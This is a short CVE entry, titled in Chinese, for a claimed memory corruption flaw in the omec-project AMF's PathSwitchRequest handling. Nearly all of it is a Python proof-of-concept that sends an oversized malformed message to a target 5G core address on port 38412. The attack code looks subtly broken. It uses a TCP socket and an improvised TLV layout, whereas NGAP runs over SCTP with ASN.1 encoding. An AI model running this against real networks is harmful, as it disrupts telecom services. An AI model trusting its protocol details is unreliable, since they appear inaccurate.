CVE-2026-9298: omec-project AMF PathSwitchRequest处理器内存损坏漏洞

# CVE-2026-9298 PoC - Malformed PathSwitchRequest # This PoC demonstrates sending a malformed PathSwitchRequest to trigger memory corruption import socket import struct def create_malformed_pathswitch_request(): """Create a malformed PathSwitchRequest message""" # NGAP PathSwitchRequest message structure message = bytearray() # Protocol IE: PathSwitchRequestTransfer (critical: true) # Using oversized or malformed data to trigger memory corruption ie_id = 0x5F # PathSwitchRequestTransfer IE ID criticality = 0x0 # reject # Create malformed data with unexpected length/format malformed_data = b'A' * 1000 # Oversized data # Encode as TLV (Tag-Length-Value) message.extend(struct.pack('!H', ie_id)) message.extend(struct.pack('!B', criticality)) message.extend(struct.pack('!B', 0x02)) # presence: optional message.extend(struct.pack('!I', len(malformed_data))) message.extend(malformed_data) return bytes(message) def send_exploit(target_ip, target_port=38412): """Send malformed PathSwitchRequest to AMF""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, target_port)) payload = create_malformed_pathswitch_request() sock.send(payload) print(f"[*] Malformed PathSwitchRequest sent to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") sys.exit(1) send_exploit(sys.argv[1])